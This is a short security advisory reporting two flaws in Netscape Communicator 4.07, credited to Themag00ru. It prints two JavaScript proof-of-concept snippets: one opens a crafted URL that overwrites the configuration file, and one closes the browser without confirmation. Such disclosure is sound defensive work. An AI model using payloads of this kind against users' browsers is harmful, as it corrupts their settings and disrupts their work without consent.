Netscape Communicator 4.07 is reported to be vulnerable to two types of attacks, one causing the configuration file to become corrupt, the other causes Netscape to shutdown without asking the user.
Netscape Communicator 4.07 can be made to do some wired things by sending it a special JavaScript code bits.
The first JavaScript code causes the configuration file to be overwritten causing Netscape Communicator to use the default preferences. The code follows:
<SCRIPT LANGUAGE="JavaScript">
<!--
window.open("http://somewhere.com/ ???????","_parent");
// -->
</SCRIPT>
The space between the 'com/' and ',,,', is the character ALT-130.
The second JavaScript code causes Netscape Communicator to shutdown without asking the user for conformation. The code follows:
<SCRIPT LANGUAGE="JavaScript">
<!--
window.alert("Bye Bye");
window.close();
// -->
</SCRIPT>
Both these malicious JavaScripts were reported by Themag00ru Themag00ru@USA.NETX.
